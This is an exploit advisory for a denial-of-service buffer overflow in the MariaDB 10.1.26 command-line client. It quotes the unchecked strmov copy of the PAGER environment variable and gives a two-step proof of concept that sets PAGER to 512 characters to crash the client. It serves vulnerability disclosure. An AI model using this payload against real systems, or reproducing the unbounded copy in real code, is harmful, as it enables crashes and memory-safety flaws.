# Exploit Title: MariaDB Client 10.1.26 - Denial of Service (PoC)
# Google Dork: None
# Date: 2018-11-16
# Exploit Author: strider
# Software Link: https://github.com/MariaDB/server
# Version: mysql Ver 15.1 Distrib 10.1.26-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2
# Tested on: Debian 9 Stretch x64 / Ubuntu 18.04 x86_64
# CVE : None
# Description:
# MariaDB uses environment variables. The PAGER variable is vulnerable to a bufferoverflow.
# If the environment variable PAGER is greater or equals 512 characters it will crash and make client unusable.
# This is caused by a the function strmov which takes all from source and copy that
# into destination which have a fixed size.
Codepart:
static char default_pager[FN_REFLEN];
char *tmp=getenv("PAGER");
if (tmp && strlen(tmp))
{
default_pager_set= 1;
strmov(default_pager, tmp);
}
Proof of Concept:
Step 1:
export PAGER=$(python -c "print '\x41' * 512")
Step 2:
mariadb -u user -p
